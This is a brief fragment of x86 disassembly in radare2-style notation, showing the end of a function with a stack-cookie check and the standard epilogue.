call fcn.00406b00
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret